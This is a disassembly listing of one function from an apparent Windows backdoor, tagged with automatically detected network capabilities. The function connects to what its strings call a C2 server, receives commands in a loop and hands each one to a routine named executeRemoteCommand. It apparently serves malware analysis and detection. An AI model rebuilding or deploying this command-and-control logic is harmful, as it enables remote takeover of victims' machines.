Function at 0x140001ac0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push rbp
push rbx
sub rsp, 0x618
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x5b0], rcx
mov qword [rbp + 0x5b8], rdx
mov dword [rbp + 0x5c0], r8d
lea rax, str.___Initializing_Winsock...
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140008d50]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rax, [rbp + 0x3b0]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
setne al
test al, al
je 0x140001b7d
lea rax, str.____Failed_to_initialize_Winsock._Error:
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
mov rcx, rbx
call sym.std::ostream::operator___int_
mov rcx, rax
mov rax, qword [0x140008d50]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov eax, 0
jmp 0x140001f4e
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov rdx, qword [rbp + 0x5b0]
mov qword [rdx], rax
mov rax, qword [rbp + 0x5b0]
mov rax, qword [rax]
cmp rax, 0xffffffffffffffff
jne 0x140001c04
lea rax, str.____Failed_to_create_socket._Error:
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
mov rcx, rbx
call sym.std::ostream::operator___int_
mov rcx, rax
mov rax, qword [0x140008d50]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 0
jmp 0x140001f4e
mov word [rbp + 0x3a0], 2
mov eax, dword [rbp + 0x5c0]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x3a2], ax
mov rax, qword [rbp + 0x5b8]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x3a4], eax
lea rax, str.___Connecting_to_C2_server_at
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [rbp + 0x5b8]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rcx, rax
lea rax, [0x1400083c8]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp + 0x5c0]
mov edx, eax
call sym.std::ostream::operator___int_
mov rcx, rax
lea rax, [0x1400083ca]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140008d50]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x5b0]
mov rcx, qword [rax]
lea rax, [rbp + 0x3a0]
mov r8d, 0x10
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
shr eax, 0x1f
test al, al
je 0x140001d4e
lea rax, str.____Failed_to_connect_to_C2_server._Error:
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
mov rcx, rbx
call sym.std::ostream::operator___int_
mov rcx, rax
mov rax, qword [0x140008d50]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x5b0]
mov rax, qword [rax]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 0
jmp 0x140001f4e
lea rax, str.___Connected_to_C2_server.
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140008d50]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
jmp 0x140001eb8
mov eax, dword [rbp + 0x584]
cdqe
mov byte [rbp + rax - 0x60], 0
mov byte [rbp + 0x58f], 1
mov dword [rbp + 0x588], 0
jmp 0x140001dd0
mov eax, dword [rbp + 0x588]
cdqe
movzx eax, byte [rbp + rax - 0x60]
cmp al, 0x1f
jle 0x140001dc0
mov eax, dword [rbp + 0x588]
cdqe
movzx eax, byte [rbp + rax - 0x60]
cmp al, 0x7f
jne 0x140001dc9
mov byte [rbp + 0x58f], 0
jmp 0x140001dde
add dword [rbp + 0x588], 1
mov eax, dword [rbp + 0x588]
cmp eax, dword [rbp + 0x584]
jl 0x140001d9e
movzx eax, byte [rbp + 0x58f]
xor eax, 1
test al, al
je 0x140001e1c
lea rax, str.____Received_invalid_command_or_binary_data.
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140008d50]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
jmp 0x140001eb8
lea rax, str.___Received_command:
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp - 0x60]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140008d50]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rax, [rbp + 0x577]
mov qword [rbp + 0x578], rax
nop
nop
lea rcx, [rbp + 0x577]
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0x550]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x550]
mov rcx, qword [rbp + 0x5b0]
mov rdx, rax
call method.ABCsync.executeRemoteCommand_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x550]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x577]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov rax, qword [rbp + 0x5b0]
mov rcx, qword [rax]
lea rax, [rbp - 0x60]
mov r9d, 0
mov r8d, 0x3ff
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x584], eax
cmp dword [rbp + 0x584], 0
setg al
test al, al
jne 0x140001d7e
mov rax, qword [rbp + 0x5b0]
mov rax, qword [rax]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x140001f4e
add rsp, 0x618
pop rbx
pop rbp
ret